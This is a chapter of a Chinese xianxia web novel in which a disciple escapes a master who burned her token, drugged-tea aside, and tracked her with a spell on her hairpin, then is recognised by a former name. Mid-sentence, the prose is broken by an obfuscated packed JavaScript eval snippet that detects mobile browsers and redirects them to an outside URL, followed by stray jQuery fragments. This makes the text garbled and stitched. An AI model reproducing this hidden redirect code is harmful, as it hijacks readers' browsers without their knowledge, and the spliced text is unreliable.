“那请师父将这两样东西还给我吧。”裴芥平静语气说道。
叩玉淮面色却还是疑惑,“我没办法还给你。”
“为什么?”裴芥简直搞不懂叩玉淮要做什么。
“那两样东西被我丢掉了。”叩玉淮说得极为自然和坦荡。
裴芥皱了皱眉,“丢掉了?那是我的令牌和衣服,你丢掉了?”
与叩玉淮相处这三年来,叩玉淮一直都对她很关怀和尊重,确是个负责任的好师父无疑。
现在,裴芥觉得自己似乎判断错了一些事情。
“你是我的徒弟,我是有权处置这些东西的。”叩玉淮又道。
裴芥简直不敢相信自己的耳朵,“那我没有这些怎么下山?”她语气有些生气。
叩玉淮也同样皱着眉,他看着裴芥略微生气的面容,心中有些不解。
“你生气了?”
裴芥简直无语,她没说话,但表情已经很生气了。
叩玉淮确定裴芥生气,“你为什么因为这件事生气?”
“这件事难道不值得我生气吗?没有令牌我就没法下山,没有宗门常服我就没法融入大家!”裴芥一吐为快。
没成想叩玉淮却说:“我还是不能理解你为什么生气,你可以不用下山,在山上我也能教你术法;你也不需要融入大家,你本来就是我叩玉淮的徒弟,大家都会尊重你。”
裴芥瞳孔震了震,语气带着怒意:“什么意思?师父,你当我是你养的花草吗?凭你修剪?”
“你当然不是花草,你是我的徒弟。”叩玉淮也急了,他心里完全没想到裴芥会因为这么一点小事情就与他生气,他们可是从来都没吵过架的。
“如果你当我是你的徒弟,那就给我令牌。”裴芥冷静下来。
“令牌被我烧了,我给不了你。”叩玉淮也冷静下来,他没有说谎,令牌他确实随手扔进火堆了。
他记得,自己十岁的时候养过一只兔子,但是那是一只野兔子,兔子刚开始一心要跑回田地,他师父就给他找来一个笼子。并且告诉他,只要把兔子关进笼子里,这只兔子就永远属于他了。
后来,那只兔子真的适应了笼子里的生活,也真的属于了他。
师父告诉他,养徒弟和养兔子是一个道理。
所以,叩玉淮在拿回令牌时,他就觉得这令牌无用,反正裴芥也会一直和他生活在小院里,不如丢了。
现在,他不知道裴芥在生气愤怒什么,他不懂。
裴芥要被气笑了,果真是,上梁不正下梁歪啊!
“令牌已经没有了,徒儿,你就不要为它生气了。”叩玉淮柔声说。
裴芥只觉心中有一团怒火,她也忽然想明白一些事情,叩玉淮明明行为就是一个负责的好师父,但她总觉得他有些古怪。
她每次出小院,都会被他以各种理由撞见,她去哪,好像叩玉淮都知道。
现在想想,叩玉淮看自己的眼神很爱惜用心,但是又缺少一种对人的情绪。
“好,我不生气。”裴芥微笑,她摸不清叩玉淮,所以选择暂时忍耐。
叩玉淮看见裴芥松了口,不再生气。心中也愉悦了几分。
第二日,裴芥泡好了茶给叩玉淮送去。
叩玉淮饮了一半,然后渐渐睡去。
要说叩玉淮是狡诈之人,但他却不对裴芥设防。
要说他是良善正直之人,但他却要将裴芥囚禁在此。
裴芥只当他是脑子有病,趁他昏睡,连忙偷了他的令牌往衡阳宗外院赶。
没成想赶了一半路,叩玉淮又出现在她面前。
叩玉淮脑袋还有些昏沉,不过他吃的药太多,所以这种普通的迷药对他功效微弱。
“师父?”裴芥不敢置信地看着面前的叩玉淮。
“你要去哪?”叩玉淮语气正常,就只是简单地疑问。
“你是跟踪我吗?”裴芥问。
“我只是担心你,你一个人出门,而且没有提前和我说,我很担心...”叩玉淮第一次说话底气不足。
“你到底要干什么!你是在我身上施了术法吗?!”裴芥真的控制不了了,大不了就不当这个人的徒弟了,反正叩玉淮也没有帮她一点忙,全是在阻碍她。
“我真的只是担心你,我也不想你下山去。”叩玉淮言语急切。
“师父!你不是担心我吧,你是想软禁我吧!为什么你每次都能精准地找到我的位置?”裴芥已经不想那么多了,她现在就是想摆脱这个人。
即使他长得与他师父极为相似,但正因为相似,她才会讨厌。
叩玉淮被裴芥质问,没有回答,他眼眶有些红,心里很着急。
他真的害怕他的徒弟会厌恶他这个师父。
裴芥想到自己身上只有她的灵器玉响是叩玉淮所赠,她从头上拔下玉响化为的簪子,举到叩玉淮面前。
“是它吧,你在上面下了定位术,对吗?!师父,我一直敬你,为什么要这样对我?我不是你的物品,我是人,我不想要被限制行动,哪也去不了!”裴芥把簪子扔到叩玉淮怀里。
叩玉淮立马用手接住,他眼眶通红,看起来都要哭了。
“我不是要囚禁你,我不知道,我以为你是愿意的...”
“定位术,我只是想确保你是平安的...”
裴芥不想听他狡辩,她语气有些疲惫:“师父,就这样吧,这三年,我们相处也算融洽,让我走,保留最后一点师徒情分,可以吗?”
叩玉淮微微张嘴,他觉得自己的心像被插进了一根刺,他好像有点明白了,裴芥和那只兔子不一样,他不能用一样的方法对她们。
可是,他也真的是想保护她的安全啊...
裴芥没有听叩玉淮继续说,她转身离开。叩玉淮也没有去拦,他只是默默把玉响重新用术法簪回裴芥的头发上。
裴芥到学堂时,大家正好下学。
远远地就看见桑宁,宋河几人结伴而来。
“裴芥,你今日怎么没来,奇记师兄见你没扫藏书阁气坏了,你还没穿宗门常服,你快躲躲吧,要不然他定要罚你了!”桑宁上前连忙和裴芥说道。
“弟子常服每个人就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295122|198563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一身吗,可以补领吗?”裴芥问道。
“常服只是证明你是宗门弟子,确实只有一件,破了修补术也能修补,平常一个清洁术就清洁了,好像没听说有人再要一件的。”宋河思索道。
裴芥没想到自己倒是被一件衣服为难住了,她已经得罪了叩玉淮了,再得罪这个师兄,恐怕往后日子不好过。
“或许,有一个人可以帮你取一件新的。”此时,叶执秋说道。
“谁?”裴芥问。
“就是他。”叶执秋侧身手指在身侧悄悄指了指不远处的一个人。
裴芥望过去,那人看着倒是眼熟。
再看一眼,这不是那年在元清夷住处碰到的那个用核桃砸她的人吗?
“怎么,你认识他?”岳安荣咋咋呼呼喊了一句。
其余几人表情瞬间石化,裴芥真想当做不认识她。
经过岳安荣这一嗓子,那人也往这边瞧来。
他旁边一男弟子也叫了他一句:“江渔,看啥呢,快走啊!”
“江渔,别看他比咱们还小两三岁,但他从小就在宗门内长大,还是副宗主的关门弟子,但修行水平极差,经常被副宗主训斥,后面游手好闲,对修炼也不上心,所以留级和咱们一起下山历练。”叶执秋道。
裴芥听着她这番话,看向江渔的眼神却变了变。
是他...
此时江渔也正看向了她,只是他就与她对视了一瞬,眼神就移开了。
“那同门是不是心悦你啊,一直看你呢!”他旁边那名男子对他说道。
“去一边去,别拿人家姑娘打趣!”江渔吊儿郎当回道,然后与那男子勾肩搭背走了。
“这人看起来有点不靠谱啊,找他帮忙能行吗?”桑宁道。
裴芥恢复正常神色,“我另想办法吧,谢谢你们。”
“看你刚才那样子,你认识江渔?”叶执秋问。
裴芥笑着摇了摇头,“我不认识他。”
叶执秋看着她,笑笑没有说话。
裴芥和她们分开,直接去往宗门处理日常事务的管事阁。
刚到阁外,她就看到奇记走了进去。
她赶忙躲在外墙墙角,心想,这里真是处处设限。
她这几年没太出过那个院子,不是很了解外面宗门的情况。
但偶尔听叩玉淮提过,他们每个长老负责宗门事项不同。
副宗主江祝离就负责宗门日常用度,但看那天的情况,应该是他的弟子管理。他还要约见神秘人,哪有时间管这些。
所以叶执秋才会让自己去找江渔。
只是,裴芥并不打算和江渔接触,虽然已经过了这么多年,她也改名换姓,但她害怕江渔会认出来,那样所带来的后果不得而知。
这个风险不能冒。
正当她思索时,有人在身后悄悄叫了她一声。
不是叫裴芥,而是:“谢遇?”
裴芥感觉身体瞬间凝滞在那,她没有回头,这名字已经很多年没有人叫了。
现在被人叫来,她只觉得脑袋充血,嗡嗡作响。